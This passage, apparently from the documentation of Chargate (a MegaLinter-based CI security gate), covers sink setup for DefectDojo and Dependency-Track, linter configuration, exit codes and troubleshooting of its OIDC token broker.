keeps the inventory current). On PRs the native code-scanning diff annotations are therefore suppressed, leaving Chargate's comments as the sole PR-diff surface. The full, unfiltered SARIF is still always shipped (Security tab on push, artifact, and any configured sink). ## Sinks (DefectDojo & Dependency-Track) Both external sinks share one enable rule: **set a Variable for the host and a Secret for the credential. The sink is active iff the host is set.** No separate on/off toggle. Both are optional, first-class, and failure-isolated (a sink outage is logged and never fails the gate). ### DefectDojo Uploads the **full** SARIF (never the filtered one): ```yaml - uses: magmamoose/chargate@v2 with: defectdojo_url: https://defectdojo.example.com # active iff this is set defectdojo_token: ${{ secrets.DEFECTDOJO_TOKEN }} # Optional — these default to the repo name / "Research and Development" / "ci": # defectdojo_product: my-service # defectdojo_product_type: Research and Development # used to auto-create a new product # defectdojo_engagement: ci ``` URL + token is all you need: `defectdojo_product` defaults to the repo name, `defectdojo_product_type` to `Research and Development`, and `defectdojo_engagement` to `ci`. Uses `reimport-scan` by default (one Test per engagement; `close_old_findings` mitigates findings that disappear) and auto-creates the product/engagement. The uploaded SARIF carries a leading findings-free `chargate` run. DefectDojo derives a Test's type from `runs[0].tool.driver.name` alone, and MegaLinter's merged report has no stable first run, whichever linter emitted first wins, which follows the file types in the diff. Without that stamp the derived type changes from PR to PR and `reimport-scan` returns HTTP 400 `Test type mismatch`, so the full SARIF silently stops arriving. Your Tests are therefore typed `chargate Scan (SARIF)`; if an engagement already holds a Test typed by an earlier tool, Chargate retries once against `import-scan` to create a correctly-typed one and reimports into that from then on. ### Dependency-Track Generates a CycloneDX BOM (Syft, any language) and uploads it to your Dependency-Track server: ```yaml - uses: magmamoose/chargate@v2 with: dependency_track_url: https://dtrack.example.com # active iff this is set dependency_track_api_key: ${{ secrets.DEPENDENCYTRACK_API_KEY }} dependency_track_project_name: my-service # defaults to the repo dependency_track_project_version: 1.2.3 # defaults to the ref name ``` Generates the BOM with `anchore/sbom-action` (Syft) and `POST`s it to `/api/v1/bom` (multipart), auto-creating the project/version on first upload. The API key needs `BOM_UPLOAD` (plus `PROJECT_CREATION_UPLOAD` for auto-create, and `VIEW_PORTFOLIO` so the PR-comment footer can resolve the project's UUID into a link, without it the upload still succeeds, just with no link). **Upload happens on push / tags only.** Dependency-Track tracks *shipped* artifacts, so the BOM is generated and uploaded only on non-PR events (push to the default branch, tags). On pull requests Chargate skips the upload entirely, no throwaway per-PR versions, faster PR CI, and instead links the PR comment to the project's existing default-branch version. (DefectDojo still imports the full SARIF on PRs, since reimport updates one Test rather than spawning versions.) #### If your gate runs on `pull_request` only A workflow triggered on `pull_request` alone never sees a push event, so it never reaches the upload above and the repo **silently never appears in Dependency-Track** — while DefectDojo, which imports on every event, fills up normally. That asymmetry is easy to miss for months. Don't add `push` to the gate itself (a full MegaLinter run on every merge, bot commits included, is usually the most expensive thing in CI). Add a second, cheap job with `sbom_only` instead — it ships the BOM and nothing else, in seconds: ```yaml on: pull_request: push: branches: [main] jobs: gate: if: github.event_name == 'pull_request' runs-on: ubuntu-latest steps: - uses: magmamoose/chargate@v2 with: dependency_track_url: https://dtrack.example.com dependency_track_api_key: ${{ secrets.DEPENDENCYTRACK_API_KEY }} sbom: if: github.event_name == 'push' runs-on: ubuntu-latest steps: - uses: magmamoose/chargate@v2 with: sbom_only: 'true' dependency_track_url: https://dtrack.example.com dependency_track_api_key: ${{ secrets.DEPENDENCYTRACK_API_KEY }} ``` `sbom_only` runs on push/tag events only (a per-PR BOM would create throwaway `N/merge` versions) and inverts the usual sink rule: a **misconfigured** sink fails the job, because this job has no other purpose and quietly succeeding is what hides the problem. A Dependency-Track **outage** still only warns, unless you also set `strict: 'true'`. ## MegaLinter configuration Chargate injects the critical env (`DISABLE_ERRORS`, `SARIF_REPORTER`, `JSON_REPORTER`, `SARIF_REPORTER_NORMALIZE_LINTERS_OUTPUT`, `REPORT_OUTPUT_FOLDER`) so the gate is always Chargate's. Drop a `.mega-linter.yml` at your repo root to tune which linters run; it is additive to the injected env. `REPORT_OUTPUT_FOLDER` is injected as an **absolute container path** (`/tmp/lint/megalinter-reports`) and must stay one. MegaLinter uses the value verbatim and its images declare `WORKDIR /`, so a relative value resolves to `/megalinter-reports` *inside* the container, outside the bind mount, and destroyed by `docker run --rm`. Do not override it to a relative path in `.mega-linter.yml`. Images come from `ghcr.io/oxsecurity` at `v10.0.0` by default. MegaLinter froze Docker Hub publishing at `v9.4.0`, so `docker.io` cannot serve any current version. Point `megalinter_registry` / `megalinter_namespace` at a mirror if you need one, or `megalinter_image` at a full reference to bypass name composition entirely. A mirror is not a new way for the gate to fail. If it cannot serve an image (down, too slow, missing the tag), Chargate logs a warning and pulls the same image from `ghcr.io` instead. Set `CHARGATE_MEGALINTER_REGISTRY_FALLBACK=false` in the runner or job environment if your runners must never pull from the public registry. Details and the timeout: [CLI reference](cli.md#chargate-ci). ### The `quality` flavor `flavor: quality` is **not** a MegaLinter flavor. MegaLinter publishes no `megalinter-quality` image, so Chargate curates the set itself: five SARIF-emitting quality linters, run as per-linter `megalinter-only-*` containers. | Linter | Covers | | --- | --- | | `GO_GOLANGCI_LINT` | Go — the meta-linter, so `GO_REVIVE` would be redundant. | | `JAVASCRIPT_ES` | JavaScript (ESLint). | | `TYPESCRIPT_ES` | TypeScript (ESLint). | | `JAVA_PMD` | Java bugs and code smells. | | `PYTHON_RUFF` | Python — the flake8 / isort / pyupgrade families in one container. | **Five, not a flavor's worth, deliberately.** MegaLinter's quality half over a mature repo produces hundreds of net-new findings on the first pull request, because "changed line touched by a formatter-opinionated linter" is a far denser event than "changed line with a security finding". A gate that goes red with 200 findings on its first real PR gets switched off, and then it is decoration. The set starts at five that earn their noise and grows from evidence. `JAVA_CHECKSTYLE` is verified and available via `standalone_linters`, but is not in the set: it reports formatting opinion, which is the densest noise there is. Every entry is disjoint from the `security` set, so a repo running both gates never has one finding block it twice. There is **no .NET entry**: at MegaLinter `v10.0.0` no C#/VB.NET linter sets `can_output_sarif`, so none of them could reach the net-new gate at all. Said here rather than discovered later by a .NET team whose quality gate reports zero findings forever. !!! note "It always runs standalone, on every architecture" With no flavor image to run, `quality` takes the per-linter path on amd64 too — the one place every other flavor uses a single container. `arch_strategy: flavor` or `fail` therefore cannot be honoured and Chargate raises, naming this reason rather than the arm64 guidance, which would be a confusing answer to a question nobody asked. `arch_strategy: auto` (the default) is the strategy this flavor supports. Setting `megalinter_image` overrides all of it: an image has been named, so Chargate stops reasoning about what upstream publishes and runs it. Quality linters emit a SARIF `level` and no numeric `security-severity`, which decides how you threshold over them — see [the band note in Consuming the output](consuming-output.md#the-counts-document). ### Kubernetes manifests MegaLinter's `KUBERNETES` descriptor has three linters and the `security` flavor runs two of them: | Linter | What it checks | On the net-new gate? | | --- | --- | --- | | `KUBERNETES_KUBESCAPE` | Security posture (misconfig, RBAC, …) | **Yes**, it emits SARIF. | | `KUBERNETES_KUBECONFORM` | Manifest schema validation | No SARIF; fails the job only under `strict: true`. | `kube-score` has **no** MegaLinter descriptor, so there is no linter key to enable. Run it as a standalone [pre-commit hook](https://github.com/zegl/kube-score) if you want it. The chargate-recommended `.mega-linter.yml` enables `KUBERNETES_KUBECONFORM` with `--ignore-missing-schemas` (so CRDs without a published schema are not false errors) and an exclude regex that keeps it off files that are not standalone manifests: - **Kustomize / Flux overlays and patches** are fragments, not whole objects. kubeconform validates finished manifests, so render first (`kustomize build ./overlay | kubeconform` or [`flux-local`](https://github.com/allenporter/flux-local)) and validate the output: the security image ships kubeconform but not kustomize, so rendering runs outside it. - **SOPS-encrypted secrets** (`*.sops.yaml`, `secret*`) are ciphertext, not valid YAML. - **Chart templates** (`/templates/`) and CI config (`.github/`) are not K8s objects. Tune the pattern for your layout via `KUBERNETES_KUBECONFORM_FILTER_REGEX_EXCLUDE`. ## Troubleshooting **`exec /bin/bash: exec format error`**: the runner is arm64 and MegaLinter's flavor images are `linux/amd64` only. Chargate's default `arch_strategy: auto` avoids this by running the multi-arch per-linter images instead; you see this error only with `arch_strategy: flavor`, and Chargate replaces it with a message naming the alternatives. See [Architecture support](https://github.com/MagmaMoose/chargate#architecture-support). **"MegaLinter linted 0 files" on a containerised (ARC / docker-in-docker) runner**, the `-v` bind mount is resolved by the *host* Docker daemon, not by the job container, so the workspace path must exist on the host with the same path. Mount the runner's work directory through at an identical path, or run Chargate on a runner with a local daemon. **"Permission denied" writing `megalinter-reports/` on a containerised runner**, Chargate passes `MEGALINTER_UID`/`MEGALINTER_GID` from the calling process so the report tree is not left root-owned on a self-hosted runner. Where the job user and the workspace owner differ, that drops MegaLinter to a uid that cannot write, and the symptom is an empty scan rather than an obvious error. Override on the step, no action input needed: ```yaml - uses: magmamoose/chargate@v2 env: MEGALINTER_UID: '0' MEGALINTER_GID: '0' ``` **The gate reports `net-new 0 / 0 total` on every PR**, the scan produced nothing. Chargate prints `ERROR: MegaLinter's SARIF contains no runs` and fails the job with exit `2`, with or without `strict`, because a gate that scanned nothing must not report a pass. Check `REPORT_OUTPUT_FOLDER` (above) first. **`actions/setup-python` fails with "version not found" on arm64**, `setup-python` publishes `linux/arm64` builds only for the Ubuntu 22.04/24.04/26.04 images. Set `setup_python: 'false'` and provide Python 3.11+ on the runner image; Chargate is stdlib-only pure Python and needs nothing else. **PR comments are authored by `github-actions[bot]` instead of `Chargate[bot]`**, the token broker step is fail-soft and logs a `::warning::` with the reason. On a minimal self-hosted image the usual reason is a missing `jq` or `curl`. ## Migrating from v1 v1 was a composite action that fetched a hand-rolled scanner runtime from `MagmaMoose/platform`. v2 is a MegaLinter wrapper with net-new gating, in-repo. | v1 | v2 | | --- | --- | | `security` / `lint` / `enable_sast` toggles, per-tool inputs (`trivy_severity`, …) | Configure MegaLinter via `.mega-linter.yml` + `flavor` / `enable_linters` / `disable_linters`. | | `security_fail` / `lint_fail` | `fail_on` (severity threshold over net-new). | | `strict` | `strict` (MegaLinter tool error fails the job). | | Outputs `security_result` / `lint_result` / `scan_skipped` | Outputs `gate_result`, `net_new_count`, `total_count`, `sarif_path`, `mode`. | | Blocks on all findings | Blocks only on **net-new** findings. | The **`v1` tag is frozen** on the old runtime, so existing pins keep working until you migrate. ## Local development ```sh uv sync # install deps + dev tools uv run pytest -q # run the test suite uv run ruff check . # lint uv run ruff format --check . # format check (CI gate) ``` (If `uv` is not on PATH, `python -m uv ...` works after `pip install uv`.) ## Building these docs ```sh uv run --group docs mkdocs serve # live preview at http://127.0.0.1:8000 uv run --group docs mkdocs build # render to ./site (gitignored) ``` The `docs` dependency group (`mkdocs-material`) lives in `pyproject.toml`; it is non-default, so `uv sync` and CI are unaffected until you opt in with `--group docs`. --- # Troubleshooting Source: docs/troubleshooting.md URL: https://docs.magmamoose.com/chargate/troubleshooting/ Symptom, cause, fix. Start with the exit code or the error string you actually saw. ## Gate exit codes The `chargate` CLI exits with one of three codes. Your CI step's pass or fail comes straight from these. | Code | Name | Meaning | What to do | | --- | --- | --- | --- | | `0` | `EXIT_OK` | No blocking net-new findings. Pre-existing findings never block. | Nothing. | | `1` | `EXIT_BLOCKED` | The diff introduced at least one finding at or above `--fail-on`. | Fix the finding, or lower the threshold if the severity is wrong for you. | | `2` | `EXIT_ERROR` | Setup or tool error. The gate could not scan, so a pass would be meaningless. | Read the step log. A shallow clone and a runs-less SARIF are the two common causes, both below. | !!! warning "Exit 2 is not a pass" A tool error never degrades into a pass. If MegaLinter itself blew up, the gate scanned nothing and says so. ## Gate problems ### The gate blocks on findings the PR did not introduce Net-new classification compares against the merge-base, which needs full history. With a shallow clone there is no merge-base, so the comparison cannot be made. Set `fetch-depth: 0` on your checkout step: ```yaml - uses: actions/checkout@v5 with: fetch-depth: 0 ``` Chargate fails loudly rather than guessing. See [Net-new gating](net-new.md) for the exact classification rules. ### A finding in a SOPS-encrypted file blocks the PR Chargate reads the working-tree file, not the redacted SARIF snippet, and drops secret findings whose value is an `ENC[AES256_GCM,...]` ciphertext. Plaintext in the same file still gates, which is deliberate. If a genuinely encrypted value still blocks, check that the file is actually SOPS output and that the finding is classified as a secret. ### A linter runs (or is skipped) and its findings never reach the gate The gate only ever reads the merged SARIF, so a linter whose descriptor does not set `can_output_sarif` is invisible to it however cleanly it runs. Standalone mode therefore skips those by name, with the reason `linter emits no SARIF — it could never reach the gate`, and lists them in `linters_skipped` and on the PR rather than dropping them silently. Three entries used to be missing from that list. `ACTION_ACTIONLINT`, `PYTHON_PYLINT` and `POWERSHELL_POWERSHELL` carried `sarif=True` in Chargate's registry purely because that is the `_entry` default — none had ever been probed, and none of them sets `can_output_sarif` at MegaLinter `v10.0.0`. Each one cost a container pull per run and contributed nothing the gate could read, which looks exactly like a clean repo. They are now recorded as `sarif=False` and skipped with that reason. `tests/test_linters_registry.py` cross-references every `sarif` flag against MegaLinter's own descriptors at the pinned tag, so the table and upstream cannot drift apart again — the same way the `arm64` flags are re-probed against the live registry. If you enabled one of these expecting findings: there are none to have. Use a linter that emits SARIF (the `quality` set is five of them, see [The `quality` flavor](setup.md#the-quality-flavor)), or accept that this one gates only via `strict`, as a tool error. ### The scan reports nothing and the gate passes A SARIF report with zero `runs` means nothing was scanned. Chargate fails this on its own rather than behind `--strict`, because a pass on an empty report is meaningless. If you see it, the linter container failed to start. Read the MegaLinter output above the gate step. ### A downstream tool read `counts.json` and saw a clean pull request `chargate ci` writes `--filtered-out` and `--counts-json` *before* it decides its own exit code. A run whose SARIF carried no `runs` therefore leaves a well-formed counts document full of zeros on disk and then exits `2` for exactly that reason. A consumer reading only the file sees `net_new_count: 0` and reports green. The file's existence is not evidence that anything was scanned. Gate on the step's outcome (or the CLI's exit code) as well as the document, and treat exit `2` as *no answer* rather than *no findings*. Full contract: [Consuming the output](consuming-output.md). ## Chargate[bot] comments are attributed to github-actions[bot] This is the most common report, and it is almost never the broker being down. The token exchange is **fail-soft**: on any error `scripts/request-app-token.sh` emits an empty token and exits `0`, the comment is still posted, and the only symptom is the byline. Nothing goes red. The reason is always in the step log as a warning: ```text ::warning::Chargate[bot] token unavailable (); PR comments fall back to github-actions[bot]. ``` | Reason string | Cause | Fix | | --- | --- | --- | | `missing 'id-token: write'` | The job cannot request an OIDC token. | Add `id-token: write` to the workflow's `permissions`. See [Setup](setup.md#pr-comments-ghas-style). | | `curl not installed on this runner` | Minimal self-hosted or ARC image. | Install `curl` and `jq` in the runner image. | | `jq not installed on this runner` | Same. | Same. | | `broker disabled` | `token_broker_url` was set to an empty string. | Intentional. Set it to re-enable. | | `bad GITHUB_REPOSITORY` | The variable is not `owner/name`. | Only happens outside GitHub Actions. | | `OIDC request failed` | The runner could not reach GitHub's OIDC endpoint. | Network or egress policy on a self-hosted runner. | | `OIDC token missing` | GitHub returned a response with no `value`. | Retry. Report if it persists. | | `broker unreachable` | The HTTP request itself failed, so the hostname did not resolve or refused the connection. | Check DNS for the broker hostname. | | `broker HTTP ` | The broker answered with a non-200. Look the status up below. | See the next section. | | `broker returned no token` | The broker answered 200 with no `token` field. | Report. This should not happen. | !!! warning "Never read a green build as proof the broker works" Every failure above still produces a passing job and a posted comment. The weekly `broker-smoke.yml` run and the comment byline are the only signals. ## Broker responses `POST /token` returns one of these. The body is always `{"error": ""}` except on success. The Lambda also writes exactly one structured line per request, `{"outcome": ""}`, which is what to grep for in CloudWatch Logs. | Status | Code | Cause | Fix | | --- | --- | --- | --- | | `200` | (none) | Token minted. Body is `{"token", "expires_at", "repository"}`. | | | `400` | `invalid_json` | Body was not JSON, or was JSON but not an object. | Client bug. | | `400` | `missing_fields` | One of `oidcToken`, `owner`, `repo` was absent or empty. | Client bug. | | `400` | `invalid_repository` | `owner` or `repo` is not a plain GitHub identifier, or is not a string. | Rejected before the value can reach an API URL. | | `401` | `invalid_oidc` | The OIDC token failed verification: signature, issuer, audience, or expiry. | Check that the workflow requests the same audience the broker expects. | | `403` | `repo_mismatch` | The token's `repository` claim does not equal the requested `owner/repo`. | This is the control that stops one repo minting a token for another. | | `403` | `repo_not_allowed` | An allowlist is configured and this repository is not on it. | Add the repository, or clear the allowlist to accept any repo the App is installed on. | | `403` | `app_not_installed` | GitHub returned 404 for the repository's installation. | Install the Chargate App on that repository. | | `502` | `mint_failed` | The GitHub API rejected the mint for some other reason. | Check the App's private key and permissions. | | `503` | `config_unavailable` | The broker could not resolve its own configuration. | The deployment is unfinished: the App ID or private key is missing, or the function cannot read them. | | `503` | `jwks_unavailable` | GitHub's JWKS could not be fetched. | Upstream. The caller's token may be perfectly valid, which is why this is not a 401. | Two more the router returns before any of the above: | Status | Code | Cause | | --- | --- | --- | | `404` | `not_found` | Path is not `/healthz`, `/readyz` or `/token`. | | `405` | `method_not_allowed` | Right path, wrong method. `/token` is POST; the health endpoints are GET. | ### Reading the logs Every `/token` request emits one line with a fixed vocabulary, so a CloudWatch filter can count them: ```text {"outcome": "mint_ok"} {"outcome": "app_not_installed"} ``` The vocabulary is closed and never contains caller-supplied text. OIDC failures log the exception class name only, for the same reason. !!! note "`/healthz` returning 200 proves almost nothing" It answers before configuration is read, so it returns 200 on a broker with no credentials and no App installed. `/readyz` is the one that resolves configuration. A real signed `POST /token` is the only full check. See [Broker deployment](broker-deployment.md) for the deployment side.